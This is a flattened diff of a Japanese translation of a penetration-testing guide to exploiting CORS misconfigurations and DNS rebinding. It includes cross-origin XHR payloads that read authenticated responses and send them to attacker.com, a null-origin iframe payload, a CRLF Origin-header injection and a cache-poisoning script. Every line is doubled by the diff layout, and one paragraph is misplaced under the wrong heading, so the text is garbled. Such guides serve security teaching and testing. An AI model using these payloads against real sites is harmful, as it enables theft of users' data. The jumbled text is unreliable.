Host: example2.com Host: example2.com
@ -101,18 +101,18 @@ Access-Control-Max-Age: 240
``` ```
* **`Access-Control-Allow-Headers`**: このヘッダーは、実際のリクエスト中に使用できるヘッダーを指定します。サーバーによって設定され、クライアントからのリクエストで許可されたヘッダーを示します。 * **`Access-Control-Allow-Headers`**: このヘッダーは、実際のリクエスト中に使用できるヘッダーを指定します。サーバーによって設定され、クライアントからのリクエストで許可されたヘッダーを示します。
* **`Access-Control-Expose-Headers`**: このヘッダーを通じて、サーバーは単純なレスポンスヘッダー以外に、どのヘッダーがレスポンスの一部として公開されるかをクライアントに通知します。 * **`Access-Control-Expose-Headers`**: このヘッダーを通じて、サーバーは単純なレスポンスヘッダー以外に、どのヘッダーがレスポンスの一部として公開されるかをクライアントに通知します。
* **`Access-Control-Max-Age`**: このヘッダーは、プリフライトリクエストの結果をキャッシュできる期間を示します。サーバーは、プリフライトリクエストによって返される情報が再利用されることができる最大時間(秒単位)を設定します。 * **`Access-Control-Max-Age`**: このヘッダーは、プリフライトリクエストの結果をキャッシュできる期間を示します。サーバーは、プリフライトリクエストによって返される情報が再利用される可能性がある最大時間(秒単位)を設定します。
* **`Access-Control-Request-Headers`**: プリフライトリクエストで使用されるこのヘッダーは、クライアントが実際のリクエストで使用したいHTTPヘッダーをサーバーに通知するために設定されます。 * **`Access-Control-Request-Headers`**: プリフライトリクエストで使用されるこのヘッダーは、クライアントが実際のリクエストで使用したいHTTPヘッダーをサーバーに通知するために設定されます。
* **`Access-Control-Request-Method`**: このヘッダーもプリフライトリクエストで使用され、クライアントが実際のリクエストで使用するHTTPメソッドを示すために設定されます。 * **`Access-Control-Request-Method`**: このヘッダーもプリフライトリクエストで使用され、クライアントが実際のリクエストで使用するHTTPメソッドを示すために設定されます。
* **`Origin`**: このヘッダーはブラウザによって自動的に設定され、クロスオリジンリクエストの起源を示します。サーバーは、CORSポリシーに基づいて受信リクエストを許可するか拒否するかを評価するために使用されます。 * **`Origin`**: このヘッダーはブラウザによって自動的に設定され、クロスオリジンリクエストの起源を示します。サーバーは、CORSポリシーに基づいて受信リクエストを許可するか拒否するかを評価するために使用されます。
通常(コンテンツタイプと設定されたヘッダーによって異なります)、**GET/POSTリクエストではプリフライトリクエストが送信されません**(リクエストは**直接**送信されます)。ただし、レスポンスの**ヘッダー/本文にアクセス**したい場合は、それを許可する _Access-Control-Allow-Origin_ ヘッダーを含める必要があります。\ **通常コンテンツタイプと設定されたヘッダーによって異なります、GET/POSTリクエストではプリフライトリクエストが送信されません**(リクエストは**直接**送信されます)。ただし、**レスポンスのヘッダー/本文にアクセスしたい場合**は、それを許可する _Access-Control-Allow-Origin_ ヘッダーを含める必要があります。\
**したがって、CORSはCSRFに対して保護されていませんただし、役立つ場合があります。** **したがって、CORSはCSRFに対して保護されていませんただし、役立つ場合があります。**
### **ローカルネットワークリクエストのプリフライトリクエスト** ### **ローカルネットワークリクエストのプリフライトリクエスト**
1. **`Access-Control-Request-Local-Network`**: このヘッダーは、クライアントのリクエストに含まれ、問い合わせがローカルネットワークリソースを対象としていることを示します。サーバーにリクエストがローカルネットワーク内から発信されたことを通知するマーカーとして機能します。 1. **`Access-Control-Request-Local-Network`**: このヘッダーは、クライアントのリクエストに含まれ、問い合わせがローカルネットワークリソースを対象としていることを示します。サーバーにリクエストがローカルネットワーク内から発信されたことを通知するマーカーとして機能します。
2. **`Access-Control-Allow-Local-Network`**: サーバーはこのヘッダーを利用して、要求されたリソースがローカルネットワーク外のエンティティと共有できることを通知します。異なるネットワーク境界を越えてリソースを共有することを許可し、セキュリティプロトコルを維持しながら制御されたアクセスを確保します。 2. **`Access-Control-Allow-Local-Network`**: サーバーはこのヘッダーを利用して、要求されたリソースがローカルネットワーク外のエンティティと共有できることを通知します。異なるネットワーク境界を越えてリソースを共有するための許可を示し、セキュリティプロトコルを維持しながら制御されたアクセスを確保します。
**ローカルネットワークリクエストを許可する有効な応答**は、応答にも `Access-Controls-Allow-Local_network: true` ヘッダーを含める必要があります。 **ローカルネットワークリクエストを許可する有効な応答**は、応答にも `Access-Controls-Allow-Local_network: true` ヘッダーを含める必要があります。
``` ```
@ -128,20 +128,20 @@ Content-Length: 0
{% hint style="warning" %} {% hint style="warning" %}
**注意**Linuxの **0.0.0.0** IP はこれらの要件を **バイパス** してlocalhostにアクセスするために機能します。このIPアドレスは「ローカル」と見なされないためです。 **注意**Linuxの **0.0.0.0** IP はこれらの要件を **バイパス** してlocalhostにアクセスするために機能します。このIPアドレスは「ローカル」と見なされないためです。
また、**ローカルネットワークの要件をバイパス** することも可能です。これは、ローカルエンドポイント**パブリックIPアドレス**たとえば、ルーターのパブリックIPを使用する場合に当てはまります。なぜなら、いくつかの場合、**ローカルネットワークからアクセスされている場合**でも、**パブリックIP** がアクセスされている場合、アクセスが許可されるからです。 また、**ローカルネットワークの要件をバイパス** することも可能です。これは、ローカルエンドポイントたとえばルーターのパブリックIP**パブリックIPアドレス** を使用する場合に当てはまります。何度かのケースでは、**パブリックIP** にアクセスしていても、それが **ローカルネットワーク** からアクセスされている場合、アクセスが許可されます。
{% endhint %} {% endhint %}
## Exploitable misconfigurations ## 悪用可能なミス構成
`Access-Control-Allow-Credentials`**`true`** に設定することが、ほとんどの **実際の攻撃** に必要な条件であることが観察されています。この設定により、ブラウザが資格情報を送信し、レスポンスを読み取ることが許可され、攻撃の効果が向上します。これがないと、ブラウザにリクエストを発行させる利点が自分で行うよりも低下し、ユーザーのクッキーを利用することが不可能になります。 `Access-Control-Allow-Credentials`**`true`** に設定することが、ほとんどの **実際の攻撃** に必要な条件であることが観察されています。この設定により、ブラウザが資格情報を送信し、レスポンスを読み取ることが許可され、攻撃の効果が向上します。これがないと、ブラウザにリクエストを発行させる利点が自分で行うよりも低下し、ユーザーのクッキーを利用することが不可能になります。
### 例外:ネットワークロケーションを認証として利用する攻撃 ### 例外:ネットワークロケーションを認証として悪用する
被害者のネットワークロケーションが認証の形式として機能する例外が存在します。これにより、被害者のブラウザをプロキシとして使用して、IPベースの認証を回避してイントラネットアプリケーションにアクセスすることが可能となります。この方法はDNSリバインディングと同様の影響を持ちますが、より簡単に悪用できます。 被害者のネットワークロケーションが認証の形式として機能する例外が存在します。これにより、被害者のブラウザをプロキシとして使用して、IPベースの認証を回避してイントラネットアプリケーションにアクセスすることが可能となります。この方法はDNSリバインディングと同様の影響を持ちますが、より簡単に悪用できます。
### `Access-Control-Allow-Origin``Origin` の反映 ### `Access-Control-Allow-Origin``Origin` の反映
`Origin` ヘッダーの値が `Access-Control-Allow-Origin` に反映される実際のシナリオは、これらのヘッダーを組み合わせる制限があるため、理論的には起こりにくいです。ただし、複数のURLに対してCORSを有効にしたい開発者は、`Origin` ヘッダーの値をコピーして `Access-Control-Allow-Origin` ヘッダーを動的に生成することがあります。このアプローチは、特に攻撃者が正規のように見せるために設計されたドメインを使用する場合、検証ロジックを欺く可能性があります。 `Origin` ヘッダーの値が `Access-Control-Allow-Origin` に反映される実際のシナリオは、これらのヘッダーを組み合わせる制限のため理論的にはあり得ません。ただし、複数のURLに対してCORSを有効にしたい開発者は、`Origin` ヘッダーの値をコピーして `Access-Control-Allow-Origin` ヘッダーを動的に生成することがあります。このアプローチは、攻撃者が正規のように見せかけるドメインを使用し、検証ロジックを欺くことで脆弱性を導入する可能性があります。
```html ```html
<script> <script>
var req = new XMLHttpRequest(); var req = new XMLHttpRequest();
@ -156,7 +156,7 @@ location='/log?key='+this.responseText;
``` ```
### `null`オリジンの悪用 ### `null`オリジンの悪用
`null`オリジンは、リダイレクトやローカルHTMLファイルなどの状況を指定するために指定され、ユニークな位置を占めています。一部のアプリケーションは、ローカル開発を容易にするためにこのオリジンをホワイトリストに登録していますが、れにより、サンドボックス化されたiframeを介して任意のウェブサイトが`null`オリジンを模倣し、CORS制限をバイパスすることが可能となります。 `null`オリジンは、リダイレクトやローカルHTMLファイルなどの状況を指定するために指定されており、固有の位置を占めています。一部のアプリケーションは、ローカル開発を容易にするためにこのオリジンをホワイトリストに登録していますが、れにより、サンドボックス化されたiframeを介して任意のウェブサイトが`null`オリジンを模倣することが可能となり、CORS制限をバイパスすることができます。
```html ```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest(); var req = new XMLHttpRequest();
@ -188,7 +188,7 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
### 高度な正規表現バイパス ### 高度な正規表現バイパス
正規表現パターンは通常、英数字、ドット(.)、ハイフン(-の文字に焦点を当てており、他の可能性を無視しています。たとえば、ブラウザや正規表現パターンによって異なる解釈される文字を含むドメイン名は、セキュリティチェックをバイパスすることができます。Safari、Chrome、Firefoxがサブドメイン内のアンダースコア文字を処理する方法は、このような相違点がドメイン検証ロジックを回避するために悪用される方法を示しています。 通常、正規表現パターンは、英数字、ドット(.)、ハイフン(-の文字に焦点を当てており、他の可能性を無視しています。たとえば、ブラウザや正規表現パターンによって異なる解釈される文字を含むドメイン名は、セキュリティチェックをバイパスすることができます。Safari、Chrome、Firefoxがサブドメイン内のアンダースコア文字を処理する方法は、このような相違点がドメイン検証ロジックを回避するために悪用される方法を示しています。
**このバイパスチェックの詳細情報と設定については:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **および** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) **このバイパスチェックの詳細情報と設定については:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **および** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
@ -196,9 +196,9 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
### サブドメイン内のXSSから ### サブドメイン内のXSSから
開発者は、情報をリクエストすることが許可されているドメインをホワイトリストに登録することで、CORSの悪用に対する防御メカニズムを実装することがよくあります。しかし、これらの予防措置にもかかわらず、システムのセキュリティは万全ではありません。ホワイトリストに含まれるドメインの中に脆弱なサブドメインが1つでも存在すると、XSSクロスサイトスクリプティングなどの他の脆弱性を介してCORSの悪用への道が開かれる可能性があります。 開発者は、情報をリクエストすることが許可されているドメインをホワイトリストに登録することで、CORSの悪用に対する防御メカニズムを実装することがよくあります。しかし、これらの予防措置にもかかわらず、システムのセキュリティは万全ではありません。ホワイトリストに含まれる脆弱なサブドメインがあるだけで、他の脆弱性XSSクロスサイトスクリプティングを介してCORSの悪用の扉が開かれる可能性があります。
例として、`requester.com`というドメインが、別のドメインである`provider.com`からリソースにアクセスすることが許可されるようにホワイトリストに登録されているとします。サーバーサイドの構成は次のようになるかもしれません: 例として、`requester.com`というドメインが、別のドメインである`provider.com`からリソースにアクセスすることが許可されるようにホワイトリストに登録されているシナリオを考えてみましょう。サーバーサイドの構成は次のようになるかもしれません:
```javascript ```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') { if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data // Access data
@ -206,15 +206,13 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access // Unauthorized access
} }
``` ```
このセットアップでは、`requester.com` のすべてのサブドメインがアクセスを許可されています。ただし、`sub.requester.com` のようなサブドメインがXSSの脆弱性で侵害されると、攻撃者はこの弱点を悪用できます。例えば、`sub.requester.com` にアクセス権がある攻撃者は、XSSの脆弱性を悪用して、CORSポリシーをバイパスし、`provider.com` のリソースに悪意を持ってアクセスできます。
### **サーバーサイドキャッシュポイズニング** ### **サーバーサイドキャッシュポイズニング**
[**この研究から**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) [**この研究から**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
HTTPヘッダーインジェクションを介したサーバーサイドキャッシュポイズニングを悪用することで、格納されたクロスサイトスクリプティングXSSの脆弱性を誘発する可能性があります。このシナリオは、アプリケーションが`Origin`ヘッダーを違法な文字でサニタイズしない場合に発生し、特にInternet ExplorerとEdgeユーザーにとって脆弱性を作成します。これらのブラウザは (0x0d) を正当なHTTPヘッダー終端文字として扱い、HTTPヘッダーインジェクションの脆弱性を引き起こします。 サブドメイン`requester.com`のすべてがアクセスを許可されています。ただし、サブドメイン、例えば`sub.requester.com`がXSS脆弱性で侵害されると、攻撃者はこの弱点を利用できます。たとえば、`sub.requester.com`にアクセス権を持つ攻撃者は、XSS脆弱性を悪用してCORSポリシーをバイパスし、`provider.com`のリソースに悪意を持ってアクセスできます。
次のリクエストを考慮してください。`Origin`ヘッダーが操作されています: 以下は、`Origin`ヘッダーが操作されたリクエストの例です:
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7 Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
@ -225,21 +223,21 @@ HTTP/1.1 200 OK
Access-Control-Allow-Origin: z Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7 Content-Type: text/html; charset=UTF-7
``` ```
直接的にこの脆弱性を悪用してウェブブラウザが不正なヘッダを送信することは実現可能ではありませんが、Burp Suiteなどのツールを使用して手動で生成された作成されたリクエストを使用することで、サーバーサイドキャッシュが応答を保存し、他のユーザーに提供される可能性があります。 作成されたペイロードは、ページの文字セットをUTF-7に変更することを目的としており、これは特定のコンテキストでスクリプトとして実行できる方法で文字をエンコードする能力を持つため、XSS脆弱性に関連付けられることが多い文字エンコーディングです。 直接この脆弱性を悪用してウェブブラウザが不正なヘッダを送信することは実現可能ではありませんが、Burp Suiteなどのツールを使用して手動で生成された作成されたリクエスト、サーバーサイドキャッシュが応答を保存し、他のユーザーに提供される可能性があります。 作成されたペイロードは、ページの文字セットをUTF-7に変更することを目的としており、これは特定のコンテキストでスクリプトとして実行できる方法で文字をエンコードする能力を持つため、XSSの脆弱性にしばしば関連付けられています。
格納されたXSS脆弱性に関する詳細は、[PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)を参照してください。 格納型XSSの脆弱性について詳しくは、[PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)を参照してください。
**注意**: 特にサーバーサイドキャッシュポイズニングを通じたHTTPヘッダーインジェクション脆弱性の悪用は、HTTPヘッダーを含むすべてのユーザー提供入力の検証とサニタイズの重要性を強調しています。 このような脆弱性を防ぐために入力検証を含む堅牢なセキュリティモデルを常に採用してください。 **注意**: 特にサーバーサイドキャッシュポイズニングを通じたHTTPヘッダーインジェクション脆弱性の悪用は、HTTPヘッダーを含むすべてのユーザー提供入力の検証とサニタイズの重要性を強調しています。 このような脆弱性を防ぐために入力検証を含む堅牢なセキュリティモデルを常に採用してください。
### **クライアントサイドキャッシュポイズニング** ### **クライアントサイドキャッシュポイズニング**
[**この研究から**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) [**この研究から**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
このシナリオでは、適切なエンコーディングなしにカスタムHTTPヘッダーの内容を反映するウェブページのインスタンスが観察されます。 具体的には、ウェブページは`X-User-id`ヘッダーに含まれる内容を反映し、この内容にはロード時にJavaScriptコードを実行するように設計されたSVGイメージタグが含まれる例によって示されるように、悪意のあるJavaScriptを含む可能性があります。 このシナリオでは、適切なエンコーディングなしにカスタムHTTPヘッダーの内容を反映するウェブページのインスタンスが観察されます。 具体的には、ウェブページは`X-User-id`ヘッダーに含まれる内容を反映し、この内容にはロード時にJavaScriptコードを実行するように設計されたSVGイメージタグが含まれる例が示されています。
Cross-Origin Resource SharingCORSポリシーにより、カスタムヘッダーの送信が可能になります。 ただし、CORS制限によりブラウザによって応答が直接レンダリングされない場合、そのようなインジェクションの有用性は限定されているように見えるかもしれません。 重要な点は、ブラウザのキャッシュ動作を考慮する際に発生します。 `Vary: Origin`ヘッダーが指定されていない場合、悪意のある応答がブラウザによってキャッシュされる可能性があります。 その後、このキャッシュされた応答は、初回リクエスト時の直接レンダリングをバイパスして、URLに移動する際に直接レンダリングされる可能性があります。 このメカニズムは、クライアントサイドキャッシングを活用することで攻撃の信頼性を高めます。 Cross-Origin Resource SharingCORSポリシーにより、カスタムヘッダーの送信が可能になります。 ただし、CORS制限によりブラウザによって応答が直接レンダリングされない場合、そのようなインジェクションの有用性は限定されているように見えるかもしれません。 重要な点は、ブラウザのキャッシュ動作を考慮する際に浮かび上がります。 `Vary: Origin`ヘッダーが指定されていない場合、悪意のある応答がブラウザによってキャッシュされる可能性があります。 その後、このキャッシュされた応答は、初回リクエスト時の直接レンダリングをバイパスして、URLに移動する際に直接レンダリングされる可能性があります。 このメカニズムは、クライアントサイドキャッシングを活用して攻撃の信頼性を高めます。
この攻撃を説明するために、JavaScriptの例が提供されており、JSFiddleなどのウェブページの環境で実行されるように設計されています。 このスクリプトは単純なアクションを実行します悪意のあるJavaScriptを含むカスタムヘッダーを含む指定されたURLにリクエストを送信します。 リクエストが正常に完了すると、ターゲットURLに移動し、`Vary: Origin`ヘッダーの適切な処理なしに応答がキャッシュされている場合、注入されたスクリプトの実行をトリガーする可能性があります。 この攻撃を説明するために、JavaScriptの例が提供されており、JSFiddleなどの環境でウェブページの環境で実行されるように設計されています。 このスクリプトは単純なアクションを実行します悪意のあるJavaScriptを含むカスタムヘッダーを含む指定されたURLにリクエストを送信します。 リクエストが正常に完了すると、ターゲットURLに移動し、`Vary: Origin`ヘッダーの適切な処理が行われずに応答がキャッシュされている場合、注入されたスクリプトの実行をトリガーする可能性があります。
この攻撃を実行するために使用されるJavaScriptの要約を以下に示します この攻撃を実行するために使用されるJavaScriptの要約を以下に示します
```html ```html
@ -255,17 +253,17 @@ req.send();
``` ```
## バイパス ## バイパス
### XSSICross-Site Script Inclusion/ JSONP ### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI、またはCross-Site Script Inclusionとしても知られる脆弱性は、スクリプトタグを使用してリソースを含む際に同一オリジンポリシーSOPが適用されないという事実を利用するタイプの脆弱性です。これは、スクリプトが異なるドメインから含まれる必要があるためです。この脆弱性により、攻撃者はスクリプトタグを使用して含まれた任意のコンテンツにアクセスして読むことができます。 XSSI、またはCross-Site Script Inclusionとしても知られる脆弱性は、スクリプトタグを使用してリソースを含む際に同一オリジンポリシーSOPが適用されないという事実を利用するタイプの脆弱性です。これは、スクリプトが異なるドメインから含まれる必要があるためです。この脆弱性により、攻撃者はスクリプトタグを使用して含まれた任意のコンテンツにアクセスして読むことができます。
この脆弱性は、特にダイナミックなJavaScriptやJSONPPadding付きJSONに関連する場合に特に重要です。特に、クッキーなどの環境権限情報が認証に使用される場合です。異なるホストからリソースを要求する、クッキーが含まれ、それにより攻撃者がアクセスできるようになります。 この脆弱性は、特にダイナミックなJavaScriptやJSONPPadding付きJSONに関連する場合に特に重要です。特に、クッキーなどの環境権限情報が認証に使用される場合です。異なるホストからリソースを要求する、クッキーが含まれ、それにより攻撃者がアクセスできるようになります。
この脆弱性をよりよく理解し、緩和するためには、[https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)で利用可能なBurpSuiteプラグインを使用できます。このプラグインは、Webアプリケーション内の潜在的なXSSI脆弱性を特定し対処するのに役立ちます。 この脆弱性をよりよく理解し、緩和するためには、[https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)で利用可能なBurpSuiteプラグインを使用できます。このプラグインは、WebアプリケーションでのXSSI脆弱性を特定し対処するのに役立ちます。
[**さまざまなXSSIのタイプとそれらをどのように悪用するかについて詳しく読むにはこちらをクリックしてください。**](xssi-cross-site-script-inclusion.md) [**さまざまなXSSIの種類とその悪用方法について詳しく読むにはこちらをクリックしてください。**](xssi-cross-site-script-inclusion.md)
リクエストに **`callback`** **パラメータ** を追加してみてください。ページがJSONPとしてデータを送信するように準備されているかもしれません。その場合、ページは`Content-Type: application/javascript`でデータを返し、これによりCORSポリシーがバイパスされます。 リクエストに **`callback`** **パラメータ** を追加してみてください。ページがJSONPとしてデータを送信するように準備されている可能性があります。その場合、ページは`Content-Type: application/javascript`でデータを返し、これによりCORSポリシーがバイパスされます。
![](<../.gitbook/assets/image (229).png>) ![](<../.gitbook/assets/image (229).png>)
@ -273,12 +271,12 @@ XSSI、またはCross-Site Script Inclusionとしても知られる脆弱性は
`Access-Control-Allow-Origin` 制限をバイパスする方法の1つは、Webアプリケーションにリクエストしてもらい、その応答を返すようにすることです。ただし、このシナリオでは、最終的な被害者の資格情報は異なるドメインにリクエストが行われるため送信されません。 `Access-Control-Allow-Origin` 制限をバイパスする方法の1つは、Webアプリケーションにリクエストしてもらい、その応答を返すようにすることです。ただし、このシナリオでは、最終的な被害者の資格情報は異なるドメインにリクエストが行われるため送信されません。
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): このツールは、リクエストとそのヘッダーを転送するプロキシを提供し、同時にOriginヘッダーをリクエストされたドメインに一致するようにスプーフィングします。これにより、CORSポリシーが効果的にバイパスされます。以下はXMLHttpRequestを使用した例です 1. [**CORS-escape**](https://github.com/shalvah/cors-escape): このツールは、リクエストとそのヘッダーを転送するプロキシを提供し、同時にOriginヘッダーをリクエストされたドメインに一致するようにスプーフィングします。これにより、CORSポリシーが効果的にバイパスされます。以下はXMLHttpRequestを使用した例です
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): このツールは、リクエストをそのまま渡す代わりに、サーバーが指定されたパラメータで独自のリクエストを行う方法を提供します。 2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): このツールは、リクエストをそのまま渡す代わりに、サーバーが指定されたパラメータで独自のリクエストを行う別のアプローチを提供します。
### Iframe + Popup バイパス ### Iframe + Popup バイパス
`e.origin === window.origin` のようなCORSチェックを **バイパス** するために、 **iframeを作成** し、 **そこから新しいウィンドウを開く** ことができます。詳細は以下のページで確認できます: `e.origin === window.origin` のようなCORSチェックを **Iframeを作成** し、**そこから新しいウィンドウを開く** ことでバイパスすることができます。詳細は以下のページで確認できます:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} {% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md) [iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
@ -289,18 +287,18 @@ XSSI、またはCross-Site Script Inclusionとしても知られる脆弱性は
TTL経由のDNSリバインディングは、DNSレコードを操作して特定のセキュリティ対策をバイパスするための技術です。動作方法は次のとおりです TTL経由のDNSリバインディングは、DNSレコードを操作して特定のセキュリティ対策をバイパスするための技術です。動作方法は次のとおりです
1. 攻撃者はWebページを作成し、被害者にアクセスさせます。 1. 攻撃者はWebページを作成し、被害者にアクセスさせます。
2. 攻撃者はその後、自分のドメインのDNSIPを被害者のWebページを指すように変更します。 2. 攻撃者は自分のドメインのDNSIPを被害者のWebページを指すように変更します。
3. 被害者のブラウザはDNS応答をキャッシュし、DNSレコードが有効であるべき期間を示すTTLTime to Live値を持つ場合があります。 3. 被害者のブラウザはDNS応答をキャッシュし、TTLTime to Live値がDNSレコードが有効と見なされる期間を示す場合があります。
4. TTLが切れると、被害者のブラウザは新しいDNSリクエストを行い、攻撃者は被害者のページでJavaScriptコードを実行できるようになります。 4. TTLが切れると、被害者のブラウザは新しいDNSリクエストを行い、攻撃者は被害者のページでJavaScriptコードを実行できます。
5. 被害者のIPを制御し続けることで、攻撃者は被害者からクッキーを送信せずに情報を収集できます。 5. 被害者のIPを制御ることで、攻撃者は被害者からクッキーを送信せずに情報を収集できます。
この技術は、ブラウザによるこの技術の即時悪用を防ぐ可能性があることに注意することが重要です。 この技術は、ブラウザによるキャッシュメカニズムがあるため、TTL値が低くてもこの技術をすぐに悪用することが防がれる可能性があることに注意することが重要です。
DNSリバインディングは、被害者によって実行される明示的なIPチェックをバイパスするためや、ユーザーまたはボットが同じページに長時間留まるシナリオの場合に、キャッシュが期限切れになるのを待つ場合に有用です。 DNSリバインディングは、被害者によって実行される明示的なIPチェックをバイパスするためや、ユーザーやボットが同じページに長時間滞在するシナリオなど、キャッシュが期限切れになるのを待つ場合に有用です。
DNSリバインディングを素早く悪用する必要がある場合は、[https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)のようなサービスを利用できます。 DNSリバインディングを素早く悪用する必要がある場合は、[https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)のようなサービスを利用できます。
独自のDNSリバインディングサーバーを実行するには、**DNSrebinder**[https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)のようなツールを利用できます。これには、ローカルポート53/udpを公開し、それを指すAレコードを作成ns.example.com、以前に作成したAサブドメインを指すNSレコードを作成する必要があります。ns.example.comサブドメインの任意のサブドメインは、ホストによって解決されます。 独自のDNSリバインディングサーバーを実行するには、**DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder))のようなツールを利用できます。これには、ローカルポート53/udpを公開し、それを指すAレコードを作成するns.example.com、以前に作成したAサブドメインを指すNSレコードを作成する必要があります。ns.example.comサブドメインの任意のサブドメインは、あなたのホストによって解決されます。
さらに理解と実験のために、[http://rebind.it/singularity.html](http://rebind.it/singularity.html)で公開されているサーバーを探索することもできます。 さらに理解と実験のために、[http://rebind.it/singularity.html](http://rebind.it/singularity.html)で公開されているサーバーを探索することもできます。
@ -308,28 +306,28 @@ DNSリバインディングを素早く悪用する必要がある場合は、[h
DNSリバインディング経由のDNSキャッシュフラッディングは、ブラウザのキャッシュメカニズムをバイパスし、2回目のDNSリクエストを強制するための別の技術です。動作方法は次のとおりです DNSリバインディング経由のDNSキャッシュフラッディングは、ブラウザのキャッシュメカニズムをバイパスし、2回目のDNSリクエストを強制するための別の技術です。動作方法は次のとおりです
1. 最初に、被害者がDNSリクエストを行うと、攻撃者のIPアドレス応答されます。 1. 最初に、被害者がDNSリクエストを行うと、攻撃者のIPアドレス応答されます。
2. キャッシュ防御をバイパスするために、攻撃者はサービスワーカーを利用します。サービスワーカーはDNSキャッシュをフラッドし、キャッシュされた攻撃者のサーバー名を効果的に削除します。 2. キャッシュ防御をバイパスするために、攻撃者はサービスワーカーを利用します。サービスワーカーはDNSキャッシュを洪水させ、キャッシュされた攻撃者のサーバー名を効果的に削除します。
3. 被害者のブラウザが2回目のDNSリクエストを行うと、IPアドレス127.0.0.1応答されるようになります。通常、これはlocalhostを指します。 3. 被害者のブラウザが2回目のDNSリクエストを行うと、IPアドレス127.0.0.1応答されるようになります。通常、これはlocalhostを指します。
サービスワーカーを使用してDNSキャッシュをフラッドすることで、攻撃者はDNS解決プロセスを操作し、被害者のブラウザに2回目のリクエストを行わせ、今度は攻撃者が望むIPアドレスに解決させることができます。 サービスワーカーによるDNSキャッシュの洪水により、攻撃者はDNS解決プロセスを操作し、被害者のブラウザに2回目のリクエストを行わせ、今度は攻撃者が望むIPアドレスに解決させることができます。
### キャッシュ経由のDNSリバインディング ### DNSリバインディング経由の **キャッシュ**
キャッシュ防御をバイパスする別の方法は、DNSプロバイダーで同じサブドメインに複数のIPアドレスを利用することです。動作方法は次のとおりです キャッシュ防御をバイパスする別の方法は、DNSプロバイダーで同じサブドメインに複数のIPアドレスを利用することです。動作方法は次のとおりです
1. 攻撃者はDNSプロバイダーで同じサブドメインに2つのAレコードまたは2つのIPを持つ1つのAレコードを設定します。 1. 攻撃者はDNSプロバイダーで同じサブドメインの2つのAレコードまたは2つのIPを持つ単一のAレコードを設定します。
2. ブラウザがこれらのレコードをチェックすると、両方のIPアドレスが受信されます。 2. ブラウザがこれらのレコードをチェックすると、両方のIPアドレスが受信されます。
3. ブラウザが最初に攻撃者のIPアドレスを使用することを決定した場合、攻撃者は同じドメインへのHTTPリクエストを実行するペイロードを提供できます。 3. ブラウザが最初に攻撃者のIPアドレスを使用することを決定した場合、攻撃者は同じドメインにHTTPリクエストを行うペイロードを提供できます。
4. ただし、攻撃者が被害者のIPアドレスを取得したら、被害者のブラウザに応答を停止します。 4. ただし、攻撃者が被害者のIPアドレスを取得したら、被害者のブラウザに応答を停止します。
5. ブラウザは、ドメインが応答しないことを検出すると、次に指定された2番目のIPアドレスを使用し始めます。 5. ブラウザは、ドメインが応答しないことを認識すると、2番目に指定されたIPアドレスを使用し始めます。
6. 2番目のIPアドレスにアクセスすることで、ブラウザは同一オリジンポリシーSOPをバイパスし、攻撃者はこれを悪用して情報を収集および外部送信できます。 6. 2番目のIPアドレスにアクセスすることで、ブラウザは同一オリジンポリシーSOPをバイパスし、攻撃者はこれを悪用して被害者から情報を収集および外部送信できます。
この技術は、ドメインに複数のIPアドレスが提供された場合のブラウザの動作を活用します。応答を戦略的に制御し、ブラウザがどのIPアドレスを選択するかを操作することで、攻撃者はSOPを悪用し、被害者から情報にアクセスできます。 この技術は、ドメインに複数のIPアドレスが提供された場合のブラウザの動作を活用します。応答を戦略的に制御し、ブラウザがどのIPアドレスを選択するかを操作することで、攻撃者はSOPを悪用し、被害者から情報にアクセスできます。
{% hint style="warning" %} {% hint style="warning" %}
localhostにアクセスするためには、Windowsでは **127.0.0.1**、Linuxでは **0.0.0.0** を再バインドする必要があります。\ localhostにアクセスするためには、Windowsでは **127.0.0.1**、Linuxでは **0.0.0.0** を再バインドする必要があります。\
